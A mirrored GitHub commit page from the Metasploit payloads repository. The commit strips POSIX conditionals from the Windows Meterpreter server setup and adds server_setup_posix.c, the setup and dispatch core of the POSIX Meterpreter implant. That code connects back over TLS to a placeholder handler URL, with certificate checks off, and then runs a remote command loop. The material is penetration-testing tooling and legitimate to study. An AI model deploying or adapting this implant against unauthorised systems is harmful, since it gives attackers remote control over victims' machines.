mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-21 05:35:54 +01:00
Land format and posix fixes from @bcook-r7
This commit is contained in:
commit
5e8f9ff090
@ -19,8 +19,6 @@ int global_comm_timeout = 0xaf79257f;
|
|||||||
/*! @brief Number of milliseconds to wait before connection retries. */
|
/*! @brief Number of milliseconds to wait before connection retries. */
|
||||||
const DWORD RETRY_TIMEOUT_MS = 1000;
|
const DWORD RETRY_TIMEOUT_MS = 1000;
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
|
|
||||||
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
|
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
|
||||||
#include <excpt.h>
|
#include <excpt.h>
|
||||||
|
|
||||||
@ -36,14 +34,6 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
|
|||||||
|
|
||||||
#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); }
|
#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); }
|
||||||
|
|
||||||
#else
|
|
||||||
#define InitAppInstance()
|
|
||||||
#define exceptionfilter(a, b)
|
|
||||||
#define SetHandleInformation(a, b, c)
|
|
||||||
#define ExitThread(x) exit((x))
|
|
||||||
const unsigned int hAppInstance = 0x504b5320; // 'PKS '
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define PREPEND_ERROR "### Error: "
|
#define PREPEND_ERROR "### Error: "
|
||||||
#define PREPEND_INFO "### Info : "
|
#define PREPEND_INFO "### Info : "
|
||||||
#define PREPEND_WARN "### Warn : "
|
#define PREPEND_WARN "### Warn : "
|
||||||
@ -211,7 +201,7 @@ DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
|
|||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD estbalish_tcp_connection(char* url, SOCKET* socketBuffer)
|
DWORD establish_tcp_connection(char* url, SOCKET* socketBuffer)
|
||||||
{
|
{
|
||||||
dprintf("[STAGELESS] Url: %s", url);
|
dprintf("[STAGELESS] Url: %s", url);
|
||||||
if (strncmp(url, "tcp", 3) == 0)
|
if (strncmp(url, "tcp", 3) == 0)
|
||||||
@ -276,11 +266,7 @@ static VOID server_locking_callback(int mode, int type, const char * file, int l
|
|||||||
*/
|
*/
|
||||||
static long unsigned int server_threadid_callback(VOID)
|
static long unsigned int server_threadid_callback(VOID)
|
||||||
{
|
{
|
||||||
#ifdef _WIN32
|
|
||||||
return GetCurrentThreadId();
|
return GetCurrentThreadId();
|
||||||
#else
|
|
||||||
return pthread_self();
|
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/*!
|
/*!
|
||||||
@ -397,17 +383,6 @@ static LONG server_socket_poll(Remote * remote, long timeout)
|
|||||||
|
|
||||||
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||||
|
|
||||||
#ifndef _WIN32
|
|
||||||
// Handle EAGAIN, etc.
|
|
||||||
if(result == -1)
|
|
||||||
{
|
|
||||||
if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
|
|
||||||
{
|
|
||||||
result = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
lock_release(remote->lock);
|
lock_release(remote->lock);
|
||||||
|
|
||||||
return result;
|
return result;
|
||||||
@ -628,7 +603,6 @@ static DWORD server_dispatch(Remote * remote)
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
/*
|
/*
|
||||||
* The servers main dispatch loop for incoming requests using SSL over TCP
|
* The servers main dispatch loop for incoming requests using SSL over TCP
|
||||||
*/
|
*/
|
||||||
@ -789,14 +763,11 @@ static DWORD server_dispatch_http_wininet(Remote * remote)
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Get the session id that this meterpreter server is running in.
|
* Get the session id that this meterpreter server is running in.
|
||||||
*/
|
*/
|
||||||
DWORD server_sessionid()
|
DWORD server_sessionid()
|
||||||
{
|
{
|
||||||
#ifdef _WIN32
|
|
||||||
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
||||||
|
|
||||||
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
|
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
|
||||||
@ -832,9 +803,6 @@ DWORD server_sessionid()
|
|||||||
}
|
}
|
||||||
|
|
||||||
return dwSessionId;
|
return dwSessionId;
|
||||||
#else
|
|
||||||
return -1;
|
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID load_stageless_extensions(Remote* pRemote, ULONG_PTR fd)
|
VOID load_stageless_extensions(Remote* pRemote, ULONG_PTR fd)
|
||||||
@ -871,10 +839,6 @@ DWORD server_setup(SOCKET fd)
|
|||||||
|
|
||||||
dprintf("[SERVER] Initializing...");
|
dprintf("[SERVER] Initializing...");
|
||||||
|
|
||||||
#ifdef _UNIX
|
|
||||||
int local_error = 0;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// if hAppInstance is still == NULL it means that we havent been
|
// if hAppInstance is still == NULL it means that we havent been
|
||||||
// reflectivly loaded so we must patch in the hAppInstance value
|
// reflectivly loaded so we must patch in the hAppInstance value
|
||||||
// for use with loading server extensions later.
|
// for use with loading server extensions later.
|
||||||
@ -912,7 +876,7 @@ DWORD server_setup(SOCKET fd)
|
|||||||
dprintf("[SERVER] Using SSL transport on socket %ul...", fd);
|
dprintf("[SERVER] Using SSL transport on socket %ul...", fd);
|
||||||
|
|
||||||
dprintf("[SERVER] setting up stageless comms if required...");
|
dprintf("[SERVER] setting up stageless comms if required...");
|
||||||
res = estbalish_tcp_connection(pRemote->url, &pRemote->fd);
|
res = establish_tcp_connection(pRemote->url, &pRemote->fd);
|
||||||
if (res != ERROR_SUCCESS)
|
if (res != ERROR_SUCCESS)
|
||||||
{
|
{
|
||||||
dprintf("[SERVER] Failed to get TCP communications running: %u (%x)", res, res);
|
dprintf("[SERVER] Failed to get TCP communications running: %u (%x)", res, res);
|
||||||
@ -938,7 +902,6 @@ DWORD server_setup(SOCKET fd)
|
|||||||
// Store our thread handle
|
// Store our thread handle
|
||||||
pRemote->hServerThread = serverThread->handle;
|
pRemote->hServerThread = serverThread->handle;
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
// Store our process token
|
// Store our process token
|
||||||
if (!OpenThreadToken(pRemote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &pRemote->hServerToken))
|
if (!OpenThreadToken(pRemote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &pRemote->hServerToken))
|
||||||
{
|
{
|
||||||
@ -957,7 +920,6 @@ DWORD server_setup(SOCKET fd)
|
|||||||
GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &cDesktopName, 256, NULL);
|
GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &cDesktopName, 256, NULL);
|
||||||
pRemote->cpOrigDesktopName = _strdup(cDesktopName);
|
pRemote->cpOrigDesktopName = _strdup(cDesktopName);
|
||||||
pRemote->cpCurrentDesktopName = _strdup(cDesktopName);
|
pRemote->cpCurrentDesktopName = _strdup(cDesktopName);
|
||||||
#endif
|
|
||||||
|
|
||||||
// Process our default SSL-over-TCP transport
|
// Process our default SSL-over-TCP transport
|
||||||
if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
|
if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
|
||||||
@ -1009,11 +971,7 @@ DWORD server_setup(SOCKET fd)
|
|||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
|
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
|
||||||
#ifdef _WIN32
|
|
||||||
server_dispatch_http_wininet(pRemote);
|
server_dispatch_http_wininet(pRemote);
|
||||||
#else
|
|
||||||
// XXX: Handle non-windows HTTP transport
|
|
||||||
#endif
|
|
||||||
|
|
||||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||||
deregister_dispatch_routines(pRemote);
|
deregister_dispatch_routines(pRemote);
|
||||||
|
406
c/meterpreter/source/server/server_setup_posix.c
Executable file
406
c/meterpreter/source/server/server_setup_posix.c
Executable file
@ -0,0 +1,406 @@
|
|||||||
|
/*!
|
||||||
|
* @file server_setup.c
|
||||||
|
*/
|
||||||
|
#include "metsrv.h"
|
||||||
|
#include "../../common/common.h"
|
||||||
|
|
||||||
|
char *global_meterpreter_transport =
|
||||||
|
"METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
char *global_meterpreter_url =
|
||||||
|
"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
|
||||||
|
char *global_meterpreter_ua =
|
||||||
|
"METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
char *global_meterpreter_proxy =
|
||||||
|
"METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
char *global_meterpreter_proxy_username =
|
||||||
|
"METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
char *global_meterpreter_proxy_password =
|
||||||
|
"METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
int global_expiration_timeout = 0xb64be661;
|
||||||
|
int global_comm_timeout = 0xaf79257f;
|
||||||
|
|
||||||
|
#define SetHandleInformation(a, b, c)
|
||||||
|
const unsigned int hAppInstance = 0x504b5320; // 'PKS '
|
||||||
|
|
||||||
|
/*! @brief This thread is the main server thread. */
|
||||||
|
static THREAD *serverThread = NULL;
|
||||||
|
|
||||||
|
/*! @brief An array of locks for use by OpenSSL. */
|
||||||
|
static LOCK **ssl_locks = NULL;
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief A callback function used by OpenSSL to leverage native system locks.
|
||||||
|
* @param mode The lock mode to set.
|
||||||
|
* @param type The lock type to operate on.
|
||||||
|
* @param file Unused.
|
||||||
|
* @param line Unused.
|
||||||
|
*/
|
||||||
|
static void server_locking_callback(int mode, int type, const char *file, int line)
|
||||||
|
{
|
||||||
|
if (mode & CRYPTO_LOCK) {
|
||||||
|
lock_acquire(ssl_locks[type]);
|
||||||
|
} else {
|
||||||
|
lock_release(ssl_locks[type]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief A callback function used by OpenSSL to get the current threads id.
|
||||||
|
* @returns The current thread ID.
|
||||||
|
* @remarks While not needed on windows this must be used for posix meterpreter.
|
||||||
|
*/
|
||||||
|
static long unsigned int server_threadid_callback(void)
|
||||||
|
{
|
||||||
|
return pthread_self();
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Callback function for dynamic lock creation for OpenSSL.
|
||||||
|
*/
|
||||||
|
static struct CRYPTO_dynlock_value *server_dynamiclock_create(const char *file, int line)
|
||||||
|
{
|
||||||
|
return (struct CRYPTO_dynlock_value *)lock_create();
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Callback function for dynamic lock locking for OpenSSL.
|
||||||
|
*/
|
||||||
|
static void server_dynamiclock_lock(int mode, struct CRYPTO_dynlock_value *l, const char *file,
|
||||||
|
int line)
|
||||||
|
{
|
||||||
|
LOCK *lock = (LOCK *) l;
|
||||||
|
if (mode & CRYPTO_LOCK) {
|
||||||
|
lock_acquire(lock);
|
||||||
|
} else {
|
||||||
|
lock_release(lock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Callback function for dynamic lock destruction for OpenSSL.
|
||||||
|
*/
|
||||||
|
static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value *l, const char *file, int line)
|
||||||
|
{
|
||||||
|
lock_destroy((LOCK *) l);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Flush all pending data on the connected socket before doing SSL.
|
||||||
|
*/
|
||||||
|
static void server_socket_flush(Remote * remote)
|
||||||
|
{
|
||||||
|
fd_set fdread;
|
||||||
|
DWORD ret;
|
||||||
|
SOCKET fd;
|
||||||
|
char buff[4096];
|
||||||
|
lock_acquire(remote->lock);
|
||||||
|
fd = remote_get_fd(remote);
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
struct timeval tv;
|
||||||
|
LONG data;
|
||||||
|
FD_ZERO(&fdread);
|
||||||
|
FD_SET(fd, &fdread);
|
||||||
|
|
||||||
|
// Wait for up to one second for any errant socket data to appear
|
||||||
|
tv.tv_sec = 1;
|
||||||
|
tv.tv_usec = 0;
|
||||||
|
data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||||
|
if (data == 0)
|
||||||
|
break;
|
||||||
|
|
||||||
|
ret = recv(fd, buff, sizeof(buff), 0);
|
||||||
|
dprintf("[SERVER] Flushed %d bytes from the buffer", ret);
|
||||||
|
|
||||||
|
// The socket closed while we waited
|
||||||
|
if (ret == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lock_release(remote->lock);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Poll a socket for data to recv and block when none available.
|
||||||
|
*/
|
||||||
|
static LONG server_socket_poll(Remote * remote, long timeout)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
LONG result;
|
||||||
|
fd_set fdread;
|
||||||
|
SOCKET fd;
|
||||||
|
lock_acquire(remote->lock);
|
||||||
|
fd = remote_get_fd(remote);
|
||||||
|
FD_ZERO(&fdread);
|
||||||
|
FD_SET(fd, &fdread);
|
||||||
|
tv.tv_sec = 0;
|
||||||
|
tv.tv_usec = timeout;
|
||||||
|
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
|
||||||
|
|
||||||
|
if (result == -1 &&
|
||||||
|
(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK))
|
||||||
|
result = 0;
|
||||||
|
|
||||||
|
lock_release(remote->lock);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Initialize the OpenSSL subsystem for use in a multi threaded enviroment.
|
||||||
|
*/
|
||||||
|
static int server_initialize_ssl(Remote * remote)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
lock_acquire(remote->lock);
|
||||||
|
|
||||||
|
// Begin to bring up the OpenSSL subsystem...
|
||||||
|
CRYPTO_malloc_init();
|
||||||
|
SSL_load_error_strings();
|
||||||
|
SSL_library_init();
|
||||||
|
|
||||||
|
// Setup the required OpenSSL multi-threaded enviroment...
|
||||||
|
ssl_locks = malloc(CRYPTO_num_locks() * sizeof(LOCK *));
|
||||||
|
if (ssl_locks == NULL) {
|
||||||
|
lock_release(remote->lock);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||||
|
ssl_locks[i] = lock_create();
|
||||||
|
|
||||||
|
CRYPTO_set_id_callback(server_threadid_callback);
|
||||||
|
CRYPTO_set_locking_callback(server_locking_callback);
|
||||||
|
CRYPTO_set_dynlock_create_callback(server_dynamiclock_create);
|
||||||
|
CRYPTO_set_dynlock_lock_callback(server_dynamiclock_lock);
|
||||||
|
CRYPTO_set_dynlock_destroy_callback(server_dynamiclock_destroy);
|
||||||
|
lock_release(remote->lock);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Bring down the OpenSSL subsystem
|
||||||
|
*/
|
||||||
|
void server_destroy_ssl(Remote * remote)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
if (remote) {
|
||||||
|
dprintf("[SERVER] Destroying SSL");
|
||||||
|
lock_acquire(remote->lock);
|
||||||
|
SSL_free(remote->ssl);
|
||||||
|
SSL_CTX_free(remote->ctx);
|
||||||
|
CRYPTO_set_locking_callback(NULL);
|
||||||
|
CRYPTO_set_id_callback(NULL);
|
||||||
|
CRYPTO_set_dynlock_create_callback(NULL);
|
||||||
|
CRYPTO_set_dynlock_lock_callback(NULL);
|
||||||
|
CRYPTO_set_dynlock_destroy_callback(NULL);
|
||||||
|
|
||||||
|
for (i = 0; i < CRYPTO_num_locks(); i++)
|
||||||
|
lock_destroy(ssl_locks[i]);
|
||||||
|
|
||||||
|
free(ssl_locks);
|
||||||
|
lock_release(remote->lock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Negotiate SSL on the socket.
|
||||||
|
*/
|
||||||
|
static BOOL server_negotiate_ssl(Remote * remote)
|
||||||
|
{
|
||||||
|
BOOL success = TRUE;
|
||||||
|
SOCKET fd = 0;
|
||||||
|
DWORD ret = 0;
|
||||||
|
DWORD res = 0;
|
||||||
|
lock_acquire(remote->lock);
|
||||||
|
|
||||||
|
fd = remote_get_fd(remote);
|
||||||
|
remote->meth = TLSv1_client_method();
|
||||||
|
remote->ctx = SSL_CTX_new(remote->meth);
|
||||||
|
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
|
||||||
|
remote->ssl = SSL_new(remote->ctx);
|
||||||
|
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
|
||||||
|
if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0) {
|
||||||
|
dprintf("[SERVER] set fd failed");
|
||||||
|
success = FALSE;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
if ((ret = SSL_connect(remote->ssl)) != 1) {
|
||||||
|
res = SSL_get_error(remote->ssl, ret);
|
||||||
|
dprintf("[SERVER] connect failed %d\n", res);
|
||||||
|
if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) {
|
||||||
|
|
||||||
|
// Catch non-blocking socket errors and retry
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
success = FALSE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (ret != 1);
|
||||||
|
|
||||||
|
if (success == FALSE)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
|
||||||
|
if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) {
|
||||||
|
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret,
|
||||||
|
SSL_get_error(remote->ssl, ret));
|
||||||
|
}
|
||||||
|
|
||||||
|
out:
|
||||||
|
lock_release(remote->lock);
|
||||||
|
dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);
|
||||||
|
if (ret < 0)
|
||||||
|
success = FALSE;
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief The servers main dispatch loop for incoming requests using SSL over TCP
|
||||||
|
* @param remote Pointer to the remote endpoint for this server connection.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
static DWORD server_dispatch(Remote * remote)
|
||||||
|
{
|
||||||
|
BOOL running = TRUE;
|
||||||
|
LONG result = ERROR_SUCCESS;
|
||||||
|
Packet *packet = NULL;
|
||||||
|
THREAD *cpt = NULL;
|
||||||
|
dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);
|
||||||
|
|
||||||
|
// Bring up the scheduler subsystem.
|
||||||
|
result = scheduler_initialize(remote);
|
||||||
|
if (result != ERROR_SUCCESS) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
while (running) {
|
||||||
|
if (event_poll(serverThread->sigterm, 0)) {
|
||||||
|
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
result = server_socket_poll(remote, 100);
|
||||||
|
if (result > 0) {
|
||||||
|
result = packet_receive(remote, &packet);
|
||||||
|
if (result != ERROR_SUCCESS) {
|
||||||
|
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
running = command_handle(remote, packet);
|
||||||
|
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (result < 0) {
|
||||||
|
dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[DISPATCH] calling scheduler_destroy...")
|
||||||
|
scheduler_destroy();
|
||||||
|
|
||||||
|
dprintf("[DISPATCH] calling command_join_threads...")
|
||||||
|
command_join_threads();
|
||||||
|
|
||||||
|
dprintf("[DISPATCH] leaving server_dispatch.");
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Setup and run the server. This is called from Init via the loader.
|
||||||
|
*/
|
||||||
|
DWORD server_setup(SOCKET fd)
|
||||||
|
{
|
||||||
|
Remote *remote = NULL;
|
||||||
|
char cStationName[256] = { 0 };
|
||||||
|
char cDesktopName[256] = { 0 };
|
||||||
|
DWORD res = 0;
|
||||||
|
|
||||||
|
dprintf("[SERVER] Initializing...");
|
||||||
|
int local_error = 0;
|
||||||
|
|
||||||
|
srand(time(NULL));
|
||||||
|
|
||||||
|
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
|
||||||
|
|
||||||
|
// Open a THREAD item for the servers main thread, we use this to manage migration later.
|
||||||
|
serverThread = thread_open();
|
||||||
|
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X",
|
||||||
|
serverThread->handle, serverThread->id, serverThread->sigterm);
|
||||||
|
if (!(remote = remote_allocate(fd))) {
|
||||||
|
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
remote->url = global_meterpreter_url;
|
||||||
|
if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_SSL") == 0) {
|
||||||
|
remote->transport = METERPRETER_TRANSPORT_SSL;
|
||||||
|
dprintf("[SERVER] Using SSL transport...");
|
||||||
|
|
||||||
|
} else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTPS") == 0) {
|
||||||
|
remote->transport = METERPRETER_TRANSPORT_HTTPS;
|
||||||
|
dprintf("[SERVER] Using HTTPS transport...");
|
||||||
|
|
||||||
|
} else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTP") == 0) {
|
||||||
|
remote->transport = METERPRETER_TRANSPORT_HTTP;
|
||||||
|
dprintf("[SERVER] Using HTTP transport...");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Do not allow the file descriptor to be inherited by child processes
|
||||||
|
SetHandleInformation((HANDLE) fd, HANDLE_FLAG_INHERIT, 0);
|
||||||
|
dprintf("[SERVER] Initializing tokens...");
|
||||||
|
|
||||||
|
// Store our thread handle
|
||||||
|
remote->hServerThread = serverThread->handle;
|
||||||
|
|
||||||
|
// Process our default SSL-over-TCP transport
|
||||||
|
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
|
||||||
|
dprintf("[SERVER] Flushing the socket handle...");
|
||||||
|
server_socket_flush(remote);
|
||||||
|
|
||||||
|
dprintf("[SERVER] Initializing SSL...");
|
||||||
|
if (server_initialize_ssl(remote))
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
dprintf("[SERVER] Negotiating SSL...");
|
||||||
|
if (!server_negotiate_ssl(remote))
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
dprintf("[SERVER] Registering dispatch routines...");
|
||||||
|
register_dispatch_routines();
|
||||||
|
|
||||||
|
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...",
|
||||||
|
remote->transport);
|
||||||
|
server_dispatch(remote);
|
||||||
|
|
||||||
|
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||||
|
deregister_dispatch_routines(remote);
|
||||||
|
}
|
||||||
|
|
||||||
|
out:
|
||||||
|
if (remote->transport == METERPRETER_TRANSPORT_HTTP
|
||||||
|
|| remote->transport == METERPRETER_TRANSPORT_HTTPS) {
|
||||||
|
dprintf("[SERVER] Registering dispatch routines...");
|
||||||
|
register_dispatch_routines();
|
||||||
|
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...",
|
||||||
|
remote->transport);
|
||||||
|
|
||||||
|
// XXX: Handle non-windows HTTP transport
|
||||||
|
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||||
|
deregister_dispatch_routines(remote);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
|
||||||
|
dprintf("[SERVER] Closing down SSL...");
|
||||||
|
server_destroy_ssl(remote);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (remote)
|
||||||
|
remote_deallocate(remote);
|
||||||
|
|
||||||
|
dprintf("[SERVER] Finished.");
|
||||||
|
return res;
|
||||||
|
}
|
@ -10,7 +10,7 @@ VPATH += $(ROOT)/source/server/
|
|||||||
|
|
||||||
CFLAGS += -I$(ROOT)/source/server
|
CFLAGS += -I$(ROOT)/source/server
|
||||||
|
|
||||||
objects = metsrv.o scheduler.o server_setup.o remote_dispatch_common.o
|
objects = metsrv.o scheduler.o server_setup_posix.o remote_dispatch_common.o
|
||||||
objects += remote_dispatch.o netlink.o
|
objects += remote_dispatch.o netlink.o
|
||||||
|
|
||||||
libmetsrv_main.so: $(objects)
|
libmetsrv_main.so: $(objects)
|
||||||
|
Loading…
Reference in New Issue
Block a user